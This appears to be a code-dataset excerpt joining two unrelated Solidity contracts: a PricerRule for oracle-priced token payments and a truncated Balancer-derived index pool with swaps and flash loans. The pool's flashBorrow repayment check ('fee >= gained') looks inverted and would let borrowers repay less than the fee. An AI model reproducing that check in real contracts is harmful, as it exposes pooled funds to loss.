// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import "./PriceOracleInterface.sol";
import "../token/EIP20TokenInterface.sol";
import "../token/TokenRules.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
contract PricerRule is Organized {
/* Usings */
using SafeMath for uint256;
/* Events */
event PriceOracleAdded(
address _priceOracle
);
event PriceOracleRemoved(
address _priceOracle
);
event AcceptanceMarginSet(
bytes3 _quoteCurrencyCode,
uint256 _acceptanceMargin
);
event AcceptanceMarginRemoved(
bytes3 _quoteCurrencyCode
);
/* Storage */
/**
* @dev The code of the base currency of the economy.
*/
bytes3 public baseCurrencyCode;
/**
* @dev EIP20 token address of the economy.
*/
EIP20TokenInterface public eip20Token;
/**
* @dev Conversion rate from the base currency to the economy token.
*/
uint256 public conversionRateFromBaseCurrencyToToken;
/**
* @dev Conversion rate decimals from the base currency to the
* economy token.
*/
uint256 public conversionRateDecimalsFromBaseCurrencyToToken;
/**
* @dev Token decimals of EIP20Token. Since Pay method can be called multiple
* times, for optimization it's fetched from eip20Token and stored.
*/
uint8 public tokenDecimals;
/**
* @dev Required decimals for price oracles.
*/
uint8 public requiredPriceOracleDecimals;
/**
* @dev Token rules address of the economy.
*/
TokenRules public tokenRules;
/**
* @dev Mapping from pay-currency code to corresponding price oracle.
* The mapped price oracle's base currency code should be the economy
* base currency code (see baseCurrencyCode storage variable)
* and the quote currency code should be the corresponding pay-currency
* code.
*/
mapping(bytes3 => PriceOracleInterface) public baseCurrencyPriceOracles;
/**
* @dev Mapping from pay-currency code to price difference accepatance
* margin. During a pay operation an intended price for
* pay-currency is presented, that is checked against current price of
* pay-currenency wrt stored acceptance margin.
*/
mapping(bytes3 => uint256) public baseCurrencyPriceAcceptanceMargins;
/* Special Functions */
/**
* @notice Constructs a new pricer object.
*
* @dev Function requires:
* - The economy token address is not null.
* - The base currency code is not empty.
* - Conversion rate from the base currency to the token is not 0.
* - The economy token rules address is not null.
*
* @param _organization Organization address.
* @param _eip20Token The economy token address.
* @param _baseCurrencyCode The economy base currency code.
* @param _conversionRate The conversion rate from the economy base currency
* to the token.
* @param _conversionRateDecimals The conversion rate's decimals from the
* economy base currency to the token.
* @param _requiredPriceOracleDecimals Required decimals for price oracles.
* @param _tokenRules The economy token rules address.
*/
constructor(
OrganizationInterface _organization,
address _eip20Token,
bytes3 _baseCurrencyCode,
uint256 _conversionRate,
uint8 _conversionRateDecimals,
uint8 _requiredPriceOracleDecimals,
address _tokenRules
)
Organized(_organization)
public
{
require(_eip20Token != address(0), "Token address is null.");
require(
_baseCurrencyCode != bytes3(0),
"Base currency code is null."
);
require(
_conversionRate != 0,
"Conversion rate from the base currency to the token is 0."
);
require(
_tokenRules != address(0),
"Token rules address is null."
);
eip20Token = EIP20TokenInterface(_eip20Token);
tokenDecimals = EIP20TokenInterface(_eip20Token).decimals();
baseCurrencyCode = _baseCurrencyCode;
conversionRateFromBaseCurrencyToToken = _conversionRate;
conversionRateDecimalsFromBaseCurrencyToToken = _conversionRateDecimals;
requiredPriceOracleDecimals = _requiredPriceOracleDecimals;
tokenRules = TokenRules(_tokenRules);
}
/* External Functions */
/**
* @notice Transfers from the msg.sender account to the specified addresses
* an amount of the economy tokens equivalent (after conversion) to
* the specified amounts in pay currency.
*
* @dev Function requires:
* - From address is not null.
* - The lengths of arrays of beneficiaries and amounts are equal.
* - The intended price of the base currency in the pay currency
* wrt the current price is in the registered acceptance margin.
*
* @param _payCurrencyCode Currency code of the specified amounts.
* @param _baseCurrencyIntendedPrice The intended price of the base currency
* used during conversion within function.
*/
function pay(
address _from,
address[] calldata _toList,
uint256[] calldata _amountList,
bytes3 _payCurrencyCode,
uint256 _baseCurrencyIntendedPrice
)
external
{
require(
_from != address(0),
"From address is null."
);
require(
_toList.length == _amountList.length,
"'to' and 'amount' transfer arrays' lengths are not equal."
);
if (_toList.length == 0) {
return;
}
uint256 baseCurrencyCurrentPrice = baseCurrencyPrice(
_payCurrencyCode
);
require(
baseCurrencyCurrentPrice != 0,
"Base currency price in pay currency is 0."
);
require(
isPriceInRange(
_baseCurrencyIntendedPrice,
baseCurrencyCurrentPrice,
baseCurrencyPriceAcceptanceMargins[_payCurrencyCode]
),
"Intended price is not in the acceptable margin wrt current price."
);
uint256[] memory convertedAmounts = new uint256[](_amountList.length);
for(uint256 i = 0; i < _amountList.length; ++i) {
convertedAmounts[i] = convertPayCurrencyToToken(
baseCurrencyCurrentPrice,
_amountList[i]
);
}
tokenRules.executeTransfers(
_from,
_toList,
convertedAmounts
);
}
/**
* @notice Adds a new price oracle.
*
* @dev Function requires:
* - Only organization's workers are allowed to call the function.
* - The proposed price oracle's address is not null.
* - The proposed price oracle's base currency code is
* equal to the economy base currency code specified in this
* contract constructor.
* - The proposed price oracle does not exist.
* - The proposed price oracle decimals number is equal to
* the contract required price oracle decimals number.
*
* @param _priceOracle The proposed price oracle.
*/
function addPriceOracle(
PriceOracleInterface _priceOracle
)
external
onlyWorker
{
require(
address(_priceOracle) != address(0),
"Price oracle address is null."
);
require(
_priceOracle.decimals() == requiredPriceOracleDecimals,
"Price oracle decimals number is difference from the required one."
);
require(
_priceOracle.baseCurrency() == baseCurrencyCode,
"Price oracle's base currency code does not match."
);
bytes3 payCurrencyCode = _priceOracle.quoteCurrency();
require(
address(baseCurrencyPriceOracles[payCurrencyCode]) == address(0),
"Price oracle already exists."
);
baseCurrencyPriceOracles[payCurrencyCode] = _priceOracle;
emit PriceOracleAdded(address(_priceOracle));
}
/**
* @notice Removes the price oracle for the specified pay currency code.
*
* @dev Function requires:
* - Only organization's workers are allowed to call the function.
* - Price oracle matching with the specified pay currency code
* exists.
*/
function removePriceOracle(
bytes3 _payCurrencyCode
)
external
onlyWorker
{
PriceOracleInterface priceOracle = baseCurrencyPriceOracles[
_payCurrencyCode
];
require(
address(priceOracle) != address(0),
"Price oracle to remove does not exist."
);
delete baseCurrencyPriceOracles[_payCurrencyCode];
emit PriceOracleRemoved(address(priceOracle));
}
/**
* @notice Sets an acceptance margin for the base currency price per pay
* currency.
*
* @dev Function requires:
* - Only organization's workers are allowed to call the function.
* - The specified pay currency code is not null.
*/
function setAcceptanceMargin(
bytes3 _payCurrencyCode,
uint256 _acceptanceMargin
)
external
onlyWorker
{
require(
_payCurrencyCode != bytes3(0),
"Pay currency code is null."
);
baseCurrencyPriceAcceptanceMargins[_payCurrencyCode] = _acceptanceMargin;
emit AcceptanceMarginSet(
_payCurrencyCode,
_acceptanceMargin
);
}
/**
* @notice Removes an acceptance margin of the base currency price in the
* specified pay currency.
*
* @dev Function requires:
* - Only organization's workers are allowed to call the function.
* - The specified pay currency code is not null.
*/
function removeAcceptanceMargin(
bytes3 _payCurrencyCode
)
external
onlyWorker
{
require(
_payCurrencyCode != bytes3(0),
"Pay currency code is null."
);
delete baseCurrencyPriceAcceptanceMargins[_payCurrencyCode];
emit AcceptanceMarginRemoved(_payCurrencyCode);
}
/* Private Functions */
function baseCurrencyPrice(
bytes3 _payCurrencyCode
)
private
view
returns(uint256)
{
PriceOracleInterface priceOracle = baseCurrencyPriceOracles[
_payCurrencyCode
];
require(
address(priceOracle) != address(0),
"Price oracle for the specified currency code does not exist."
);
return priceOracle.getPrice();
}
function convertPayCurrencyToToken(
uint256 _baseCurrencyPriceInPayCurrency,
uint256 _payCurrencyAmount
)
private
view
returns (uint256)
{
return _payCurrencyAmount
.mul(
conversionRateFromBaseCurrencyToToken
)
.mul(
10 ** uint256(tokenDecimals)
)
.div(
10 ** conversionRateDecimalsFromBaseCurrencyToToken
)
.div(
_baseCurrencyPriceInPayCurrency
);
}
function isPriceInRange(
uint256 _intendedPrice,
uint256 _currentPrice,
uint256 _acceptanceMargin
)
private
pure
returns(bool isInRange)
{
uint256 diff = 0;
if (_currentPrice > _intendedPrice) {
diff = _currentPrice.sub(_intendedPrice);
} else {
diff = _intendedPrice.sub(_currentPrice);
}
return diff <= _acceptanceMargin;
}
}
|
* @notice Removes an acceptance margin of the base currency price in the specified pay currency. @dev Function requires: - Only organization's workers are allowed to call the function. - The specified pay currency code is not null./
|
function removeAcceptanceMargin(
bytes3 _payCurrencyCode
)
external
onlyWorker
{
require(
_payCurrencyCode != bytes3(0),
"Pay currency code is null."
);
delete baseCurrencyPriceAcceptanceMargins[_payCurrencyCode];
emit AcceptanceMarginRemoved(_payCurrencyCode);
}
| 12,599,397
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// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./BToken.sol";
import "./BMath.sol";
import "../interfaces/IFlashLoanRecipient.sol";
/************************************************************************************************
Originally from https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol
This source code has been modified from the original, which was copied from the github repository
at commit hash f4ed5d65362a8d6cec21662fb6eae233b0babc1f.
Subject to the GPL-3.0 license
*************************************************************************************************/
contract IPool is BToken, BMath {
/**
* @dev Token record data structure
* @param bound is token bound to pool
* @param ready has token been initialized
* @param lastDenormUpdate timestamp of last denorm change
* @param denorm denormalized weight
* @param desiredDenorm desired denormalized weight (used for incremental changes)
* @param index index of address in tokens array
* @param balance token balance
*/
struct Record {
bool bound;
bool ready;
uint40 lastDenormUpdate;
uint96 denorm;
uint96 desiredDenorm;
uint8 index;
uint256 balance;
}
/* --- EVENTS --- */
/** @dev Emitted when tokens are swapped. */
event LOG_SWAP(
address indexed caller,
address indexed tokenIn,
address indexed tokenOut,
uint256 tokenAmountIn,
uint256 tokenAmountOut
);
/** @dev Emitted when underlying tokens are deposited for pool tokens. */
event LOG_JOIN(
address indexed caller,
address indexed tokenIn,
uint256 tokenAmountIn
);
/** @dev Emitted when pool tokens are burned for underlying. */
event LOG_EXIT(
address indexed caller,
address indexed tokenOut,
uint256 tokenAmountOut
);
/** @dev Emitted when a token's weight updates. */
event LOG_DENORM_UPDATED(address indexed token, uint256 newDenorm);
/** @dev Emitted when a token's desired weight is set. */
event LOG_DESIRED_DENORM_SET(address indexed token, uint256 desiredDenorm);
/** @dev Emitted when a token is unbound from the pool. */
event LOG_TOKEN_REMOVED(address token);
/** @dev Emitted when a token is unbound from the pool. */
event LOG_TOKEN_ADDED(
address indexed token,
uint256 desiredDenorm,
uint256 minimumBalance
);
/** @dev Emitted when a token's minimum balance is updated. */
event LOG_MINIMUM_BALANCE_UPDATED(address token, uint256 minimumBalance);
/** @dev Emitted when a token reaches its minimum balance. */
event LOG_TOKEN_READY(address indexed token);
/** @dev Emitted when public trades are enabled or disabled. */
event LOG_PUBLIC_SWAP_TOGGLED(bool publicSwap);
/** @dev Emitted when the maximum tokens value is updated. */
event LOG_MAX_TOKENS_UPDATED(uint256 maxPoolTokens);
/** @dev Emitted when the swap fee is updated. */
event LOG_SWAP_FEE_UPDATED(uint256 swapFee);
/* --- Modifiers --- */
modifier _lock_ {
require(!_mutex, "ERR_REENTRY");
_mutex = true;
_;
_mutex = false;
}
modifier _control_ {
require(msg.sender == _controller, "ERR_NOT_CONTROLLER");
_;
}
modifier _public_ {
require(_publicSwap, "ERR_NOT_PUBLIC");
_;
}
/* --- Storage --- */
bool internal _mutex;
// Account with CONTROL role. Able to modify the swap fee,
// adjust token weights, bind and unbind tokens and lock
// public swaps & joins.
address internal _controller;
// Contract that handles unbound tokens.
TokenUnbindHandler internal _unbindHandler;
// True if PUBLIC can call SWAP & JOIN functions
bool internal _publicSwap;
// `setSwapFee` requires CONTROL
uint256 internal _swapFee;
// Array of underlying tokens in the pool.
address[] internal _tokens;
// Internal records of the pool's underlying tokens
mapping(address => Record) internal _records;
// Total denormalized weight of the pool.
uint256 internal _totalWeight;
// Minimum balances for tokens which have been added without the
// requisite initial balance.
mapping(address => uint256) internal _minimumBalances;
// Maximum LP tokens that can be bound.
// Used in alpha to restrict the economic impact of a catastrophic
// failure. It can be gradually increased as the pool continues to
// not be exploited.
uint256 internal _maxPoolTokens;
/* --- Controls --- */
/**
* @dev Sets the controller address and the token name & symbol.
*
* Note: This saves on storage costs for multi-step pool deployment.
*
* @param controller Controller of the pool
* @param name Name of the pool token
* @param symbol Symbol of the pool token
*/
function configure(
address controller,
string calldata name,
string calldata symbol
) external {
require(_controller == address(0), "ERR_CONFIGURED");
require(controller != address(0), "ERR_NULL_ADDRESS");
_controller = controller;
// default fee is 2.5%
_swapFee = BONE / 40;
_initializeToken(name, symbol);
}
/**
* @dev Sets up the initial assets for the pool.
*
* Note: `tokenProvider` must have approved the pool to transfer the
* corresponding `balances` of `tokens`.
*
* @param tokens Underlying tokens to initialize the pool with
* @param balances Initial balances to transfer
* @param denorms Initial denormalized weights for the tokens
* @param tokenProvider Address to transfer the balances from
*/
function initialize(
address[] calldata tokens,
uint256[] calldata balances,
uint96[] calldata denorms,
address tokenProvider,
address unbindHandler
)
external
_control_
{
require(_tokens.length == 0, "ERR_INITIALIZED");
uint256 len = tokens.length;
require(len >= MIN_BOUND_TOKENS, "ERR_MIN_TOKENS");
require(len <= MAX_BOUND_TOKENS, "ERR_MAX_TOKENS");
require(balances.length == len && denorms.length == len, "ERR_ARR_LEN");
uint256 totalWeight = 0;
for (uint256 i = 0; i < len; i++) {
// _bind(tokens[i], balances[i], denorms[i]);
address token = tokens[i];
uint96 denorm = denorms[i];
uint256 balance = balances[i];
require(denorm >= MIN_WEIGHT, "ERR_MIN_WEIGHT");
require(denorm <= MAX_WEIGHT, "ERR_MAX_WEIGHT");
require(balance >= MIN_BALANCE, "ERR_MIN_BALANCE");
_records[token] = Record({
bound: true,
ready: true,
lastDenormUpdate: uint40(now),
denorm: denorm,
desiredDenorm: denorm,
index: uint8(i),
balance: balance
});
_tokens.push(token);
totalWeight = badd(totalWeight, denorm);
_pullUnderlying(token, tokenProvider, balance);
}
require(totalWeight <= MAX_TOTAL_WEIGHT, "ERR_MAX_TOTAL_WEIGHT");
_totalWeight = totalWeight;
_publicSwap = true;
emit LOG_PUBLIC_SWAP_TOGGLED(true);
_mintPoolShare(INIT_POOL_SUPPLY);
_pushPoolShare(tokenProvider, INIT_POOL_SUPPLY);
_unbindHandler = TokenUnbindHandler(unbindHandler);
}
/**
* @dev Sets the maximum number of pool tokens that can be minted.
*
* This value will be used in the alpha to limit the maximum damage
* that can be caused by a catastrophic error. It can be gradually
* increased as the pool continues to not be exploited.
*
* If it is set to 0, the limit will be removed.
*/
function setMaxPoolTokens(uint256 maxPoolTokens) external _control_ {
_maxPoolTokens = maxPoolTokens;
emit LOG_MAX_TOKENS_UPDATED(maxPoolTokens);
}
/* --- Configuration Actions --- */
/**
* @dev Set the swap fee.
* Note: Swap fee must be between 0.0001% and 10%
*/
function setSwapFee(uint256 swapFee) external _control_ {
require(swapFee >= MIN_FEE, "ERR_MIN_FEE");
require(swapFee <= MAX_FEE, "ERR_MAX_FEE");
_swapFee = swapFee;
emit LOG_SWAP_FEE_UPDATED(swapFee);
}
/* --- Token Management Actions --- */
/**
* @dev Sets the desired weights for the pool tokens, which
* will be adjusted over time as they are swapped.
*
* Note: This does not check for duplicate tokens or that the total
* of the desired weights is equal to the target total weight (25).
* Those assumptions should be met in the controller. Further, the
* provided tokens should only include the tokens which are not set
* for removal.
*/
function reweighTokens(
address[] calldata tokens,
uint96[] calldata desiredDenorms
)
external
_lock_
_control_
{
uint256 len = tokens.length;
require(desiredDenorms.length == len, "ERR_ARR_LEN");
for (uint256 i = 0; i < len; i++)
_setDesiredDenorm(tokens[i], desiredDenorms[i]);
}
/**
* @dev Update the underlying assets held by the pool and their associated
* weights. Tokens which are not currently bound will be gradually added
* as they are swapped in to reach the provided minimum balances, which must
* be an amount of tokens worth the minimum weight of the total pool value.
* If a currently bound token is not received in this call, the token's
* desired weight will be set to 0.
*/
function reindexTokens(
address[] calldata tokens,
uint96[] calldata desiredDenorms,
uint256[] calldata minimumBalances
)
external
_lock_
_control_
{
uint256 len = tokens.length;
require(
desiredDenorms.length == len && minimumBalances.length == len,
"ERR_ARR_LEN"
);
// This size may not be the same as the input size, as it is possible
// to temporarily exceed the index size while tokens are being phased in
// or out.
uint256 tLen = _tokens.length;
bool[] memory receivedIndices = new bool[](tLen);
// We need to read token records in two separate loops, so
// write them to memory to avoid duplicate storage reads.
Record[] memory records = new Record[](len);
// Read all the records from storage and mark which of the existing tokens
// were represented in the reindex call.
for (uint256 i = 0; i < len; i++) {
Record memory record = _records[tokens[i]];
if (record.bound) receivedIndices[record.index] = true;
records[i] = record;
}
// If any bound tokens were not sent in this call, set their desired weights to 0.
for (uint256 i = 0; i < tLen; i++) {
if (!receivedIndices[i]) {
_setDesiredDenorm(_tokens[i], 0);
}
}
for (uint256 i = 0; i < len; i++) {
address token = tokens[i];
// If an input weight is less than the minimum weight, use that instead.
uint96 denorm = desiredDenorms[i];
if (denorm < MIN_WEIGHT) denorm = uint96(MIN_WEIGHT);
if (!records[i].bound) {
// If the token is not bound, bind it.
_bind(token, minimumBalances[i], denorm);
} else {
_setDesiredDenorm(token, denorm);
}
}
}
/**
* @dev Updates the minimum balance for an uninitialized token.
* This becomes useful if a token's external price significantly
* rises after being bound, since the pool can not send a token
* out until it reaches the minimum balance.
*/
function setMinimumBalance(
address token,
uint256 minimumBalance
)
external
_control_
{
Record memory record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
require(!record.ready, "ERR_READY");
_minimumBalances[token] = minimumBalance;
emit LOG_MINIMUM_BALANCE_UPDATED(token, minimumBalance);
}
/* --- Liquidity Provider Actions --- */
/**
* @dev Mint new pool tokens by providing the proportional amount of each
* underlying token's balance relative to the proportion of pool tokens minted.
*
* For any underlying tokens which are not initialized, the caller must provide
* the proportional share of the minimum balance for the token rather than the
* actual balance.
*/
function joinPool(uint256 poolAmountOut, uint256[] calldata maxAmountsIn)
external
_lock_
_public_
{
uint256 poolTotal = totalSupply();
uint256 ratio = bdiv(poolAmountOut, poolTotal);
require(ratio != 0, "ERR_MATH_APPROX");
require(maxAmountsIn.length == _tokens.length, "ERR_ARR_LEN");
uint256 maxPoolTokens = _maxPoolTokens;
if (maxPoolTokens > 0) {
require(
badd(poolTotal, poolAmountOut) <= _maxPoolTokens,
"ERR_MAX_POOL_TOKENS"
);
}
for (uint256 i = 0; i < maxAmountsIn.length; i++) {
address t = _tokens[i];
(Record memory record, uint256 realBalance) = _getInputToken(t);
uint256 tokenAmountIn = bmul(ratio, record.balance);
require(tokenAmountIn != 0, "ERR_MATH_APPROX");
require(tokenAmountIn <= maxAmountsIn[i], "ERR_LIMIT_IN");
_updateInputToken(t, record, badd(realBalance, tokenAmountIn));
emit LOG_JOIN(msg.sender, t, tokenAmountIn);
_pullUnderlying(t, msg.sender, tokenAmountIn);
}
_mintPoolShare(poolAmountOut);
_pushPoolShare(msg.sender, poolAmountOut);
}
/**
* @dev Pay `tokenAmountIn` of `tokenIn` to mint at least `minPoolAmountOut`
* pool tokens.
*
* The pool implicitly swaps `(1- weightTokenIn) * tokenAmountIn` to the other
* underlying tokens. Thus a swap fee is charged against the input tokens.
*/
function joinswapExternAmountIn(
address tokenIn,
uint256 tokenAmountIn,
uint256 minPoolAmountOut
)
external
_lock_
_public_
returns (uint256 poolAmountOut)
{
(Record memory inRecord, uint256 realInBalance) = _getInputToken(tokenIn);
require(tokenAmountIn != 0, "ERR_ZERO_IN");
require(
tokenAmountIn <= bmul(inRecord.balance, MAX_IN_RATIO),
"ERR_MAX_IN_RATIO"
);
poolAmountOut = calcPoolOutGivenSingleIn(
inRecord.balance,
inRecord.denorm,
_totalSupply,
_totalWeight,
tokenAmountIn,
_swapFee
);
uint256 maxPoolTokens = _maxPoolTokens;
if (maxPoolTokens > 0) {
require(
badd(_totalSupply, poolAmountOut) <= _maxPoolTokens,
"ERR_MAX_POOL_TOKENS"
);
}
require(poolAmountOut >= minPoolAmountOut, "ERR_LIMIT_OUT");
_updateInputToken(tokenIn, inRecord, badd(realInBalance, tokenAmountIn));
emit LOG_JOIN(msg.sender, tokenIn, tokenAmountIn);
_mintPoolShare(poolAmountOut);
_pushPoolShare(msg.sender, poolAmountOut);
_pullUnderlying(tokenIn, msg.sender, tokenAmountIn);
return poolAmountOut;
}
/**
* @dev Pay up to `maxAmountIn` of `tokenIn` to mint exactly `poolAmountOut`.
*
* The pool implicitly swaps `(1- weightTokenIn) * tokenAmountIn` to the other
* underlying tokens. Thus a swap fee is charged against the input tokens.
*/
function joinswapPoolAmountOut(
address tokenIn,
uint256 poolAmountOut,
uint256 maxAmountIn
)
external
_lock_
_public_
returns (uint256 tokenAmountIn)
{
uint256 maxPoolTokens = _maxPoolTokens;
if (maxPoolTokens > 0) {
require(
badd(_totalSupply, poolAmountOut) <= _maxPoolTokens,
"ERR_MAX_POOL_TOKENS"
);
}
(Record memory inRecord, uint256 realInBalance) = _getInputToken(tokenIn);
tokenAmountIn = calcSingleInGivenPoolOut(
inRecord.balance,
inRecord.denorm,
_totalSupply,
_totalWeight,
poolAmountOut,
_swapFee
);
require(tokenAmountIn != 0, "ERR_MATH_APPROX");
require(tokenAmountIn <= maxAmountIn, "ERR_LIMIT_IN");
require(
tokenAmountIn <= bmul(inRecord.balance, MAX_IN_RATIO),
"ERR_MAX_IN_RATIO"
);
_updateInputToken(tokenIn, inRecord, badd(realInBalance, tokenAmountIn));
emit LOG_JOIN(msg.sender, tokenIn, tokenAmountIn);
_mintPoolShare(poolAmountOut);
_pushPoolShare(msg.sender, poolAmountOut);
_pullUnderlying(tokenIn, msg.sender, tokenAmountIn);
return tokenAmountIn;
}
/**
* @dev Burns `poolAmountIn` pool tokens in exchange for the amounts of each
* underlying token's balance proportional to the ratio of tokens burned to
* total pool supply. The amount of each token transferred to the caller must
* be greater than or equal to the associated minimum output amount from the
* `minAmountsOut` array.
*/
function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut)
external
_lock_
{
uint256 poolTotal = totalSupply();
uint256 exitFee = bmul(poolAmountIn, EXIT_FEE);
uint256 pAiAfterExitFee = bsub(poolAmountIn, exitFee);
uint256 ratio = bdiv(pAiAfterExitFee, poolTotal);
require(ratio != 0, "ERR_MATH_APPROX");
_pullPoolShare(msg.sender, poolAmountIn);
_pushPoolShare(_controller, exitFee);
_burnPoolShare(pAiAfterExitFee);
require(minAmountsOut.length == _tokens.length, "ERR_ARR_LEN");
for (uint256 i = 0; i < minAmountsOut.length; i++) {
address t = _tokens[i];
Record memory record = _records[t];
if (record.ready) {
uint256 tokenAmountOut = bmul(ratio, record.balance);
require(tokenAmountOut != 0, "ERR_MATH_APPROX");
require(tokenAmountOut >= minAmountsOut[i], "ERR_LIMIT_OUT");
_records[t].balance = bsub(record.balance, tokenAmountOut);
emit LOG_EXIT(msg.sender, t, tokenAmountOut);
_pushUnderlying(t, msg.sender, tokenAmountOut);
} else {
// If the token is not initialized, it can not exit the pool.
require(minAmountsOut[i] == 0, "ERR_OUT_NOT_READY");
}
}
}
/**
* @dev Burns `poolAmountIn` pool tokens in exchange for at least `minAmountOut`
* of `tokenOut`. Returns the number of tokens sent to the caller.
*
* The pool implicitly burns the tokens for all underlying tokens and swaps them
* to the desired output token. A swap fee is charged against the output tokens.
*/
function exitswapPoolAmountIn(
address tokenOut,
uint256 poolAmountIn,
uint256 minAmountOut
)
external
_lock_
returns (uint256 tokenAmountOut)
{
Record memory outRecord = _getOutputToken(tokenOut);
tokenAmountOut = calcSingleOutGivenPoolIn(
outRecord.balance,
outRecord.denorm,
_totalSupply,
_totalWeight,
poolAmountIn,
_swapFee
);
require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT");
require(
tokenAmountOut <= bmul(outRecord.balance, MAX_OUT_RATIO),
"ERR_MAX_OUT_RATIO"
);
_pushUnderlying(tokenOut, msg.sender, tokenAmountOut);
_records[tokenOut].balance = bsub(outRecord.balance, tokenAmountOut);
_decreaseDenorm(outRecord, tokenOut);
uint256 exitFee = bmul(poolAmountIn, EXIT_FEE);
emit LOG_EXIT(msg.sender, tokenOut, tokenAmountOut);
_pullPoolShare(msg.sender, poolAmountIn);
_burnPoolShare(bsub(poolAmountIn, exitFee));
_pushPoolShare(_controller, exitFee);
return tokenAmountOut;
}
/**
* @dev Burn up to `maxPoolAmountIn` for exactly `tokenAmountOut` of `tokenOut`.
* Returns the number of pool tokens burned.
*
* The pool implicitly burns the tokens for all underlying tokens and swaps them
* to the desired output token. A swap fee is charged against the output tokens.
*/
function exitswapExternAmountOut(
address tokenOut,
uint256 tokenAmountOut,
uint256 maxPoolAmountIn
)
external
_lock_
returns (uint256 poolAmountIn)
{
Record memory outRecord = _getOutputToken(tokenOut);
require(
tokenAmountOut <= bmul(outRecord.balance, MAX_OUT_RATIO),
"ERR_MAX_OUT_RATIO"
);
poolAmountIn = calcPoolInGivenSingleOut(
outRecord.balance,
outRecord.denorm,
_totalSupply,
_totalWeight,
tokenAmountOut,
_swapFee
);
require(poolAmountIn != 0, "ERR_MATH_APPROX");
require(poolAmountIn <= maxPoolAmountIn, "ERR_LIMIT_IN");
_pushUnderlying(tokenOut, msg.sender, tokenAmountOut);
_records[tokenOut].balance = bsub(outRecord.balance, tokenAmountOut);
_decreaseDenorm(outRecord, tokenOut);
uint256 exitFee = bmul(poolAmountIn, EXIT_FEE);
emit LOG_EXIT(msg.sender, tokenOut, tokenAmountOut);
_pullPoolShare(msg.sender, poolAmountIn);
_burnPoolShare(bsub(poolAmountIn, exitFee));
_pushPoolShare(_controller, exitFee);
return poolAmountIn;
}
/* --- Other --- */
/**
* @dev Absorb any tokens that have been sent to the pool.
* If the token is not bound, it will be sent to the unbound
* token handler.
*/
function gulp(address token) external _lock_ {
Record memory record = _records[token];
uint256 balance = IERC20(token).balanceOf(address(this));
if (record.bound) {
if (!record.ready) {
record.denorm = uint96(MIN_WEIGHT);
_updateInputToken(token, record, balance);
}
} else {
_pushUnderlying(token, address(_unbindHandler), balance);
_unbindHandler.handleUnbindToken(token, balance);
}
}
/* --- Flash Loan --- */
/**
* @dev Execute a flash loan, transferring `amount` of `token` to `recipient`.
* `amount` must be repaid with `swapFee` interest by the end of the transaction.
*
* @param recipient Must implement the IFlashLoanRecipient interface
* @param token Token to borrow
* @param amount Amount to borrow
* @param data Data to send to the recipient in `receiveFlashLoan` call
*/
function flashBorrow(
IFlashLoanRecipient recipient,
address token,
uint256 amount,
bytes calldata data
)
external
_lock_
{
Record memory record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
uint256 balStart = IERC20(token).balanceOf(address(this));
require(balStart >= amount, "ERR_INSUFFICIENT_BAL");
_pushUnderlying(token, address(recipient), amount);
recipient.receiveFlashLoan(data);
uint256 balEnd = IERC20(token).balanceOf(address(this));
uint256 gained = bsub(balEnd, balStart);
uint256 fee = bmul(balStart, _swapFee);
require(
balEnd > balStart && fee >= gained,
"ERR_INSUFFICIENT_PAYMENT"
);
_records[token].balance = balEnd;
// If the payment brings the token above its minimum balance,
// clear the minimum and mark the token as ready.
if (!record.ready) {
uint256 minimumBalance = _minimumBalances[token];
if (balEnd >= minimumBalance) {
_minimumBalances[token] = 0;
_records[token].ready = true;
_records[token].denorm = uint96(MIN_WEIGHT);
_totalWeight = badd(_totalWeight, MIN_WEIGHT);
}
}
}
/* --- Token Swaps --- */
/**
* @dev Execute a token swap with a specified amount of input
* tokens and a minimum amount of output tokens.
* Note: Will throw if `tokenOut` is uninitialized.
*/
function swapExactAmountIn(
address tokenIn,
uint256 tokenAmountIn,
address tokenOut,
uint256 minAmountOut,
uint256 maxPrice
)
external
_lock_
_public_
returns (uint256 tokenAmountOut, uint256 spotPriceAfter)
{
(Record memory inRecord, uint256 realInBalance) = _getInputToken(tokenIn);
Record memory outRecord = _getOutputToken(tokenOut);
require(
tokenAmountIn <= bmul(inRecord.balance, MAX_IN_RATIO),
"ERR_MAX_IN_RATIO"
);
uint256 spotPriceBefore = calcSpotPrice(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
_swapFee
);
require(spotPriceBefore <= maxPrice, "ERR_BAD_LIMIT_PRICE");
tokenAmountOut = calcOutGivenIn(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
tokenAmountIn,
_swapFee
);
require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT");
_pullUnderlying(tokenIn, msg.sender, tokenAmountIn);
_pushUnderlying(tokenOut, msg.sender, tokenAmountOut);
realInBalance = badd(realInBalance, tokenAmountIn);
_updateInputToken(tokenIn, inRecord, realInBalance);
if (inRecord.ready) {
inRecord.balance = realInBalance;
}
// Update the in-memory record for the spotPriceAfter calculation,
// then update the storage record with the local balance.
outRecord.balance = bsub(outRecord.balance, tokenAmountOut);
_records[tokenOut].balance = outRecord.balance;
// If needed, update the output token's weight.
_decreaseDenorm(outRecord, tokenOut);
spotPriceAfter = calcSpotPrice(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
_swapFee
);
require(spotPriceAfter >= spotPriceBefore, "ERR_MATH_APPROX_2");
require(spotPriceAfter <= maxPrice, "ERR_LIMIT_PRICE");
require(
spotPriceBefore <= bdiv(tokenAmountIn, tokenAmountOut),
"ERR_MATH_APPROX"
);
emit LOG_SWAP(msg.sender, tokenIn, tokenOut, tokenAmountIn, tokenAmountOut);
return (tokenAmountOut, spotPriceAfter);
}
/**
* @dev Trades at most `maxAmountIn` of `tokenIn` for exactly `tokenAmountOut`
* of `tokenOut`.
* Returns the actual input amount and the new spot price after the swap,
* which can not exceed `maxPrice`.
*/
function swapExactAmountOut(
address tokenIn,
uint256 maxAmountIn,
address tokenOut,
uint256 tokenAmountOut,
uint256 maxPrice
)
external
_lock_
_public_
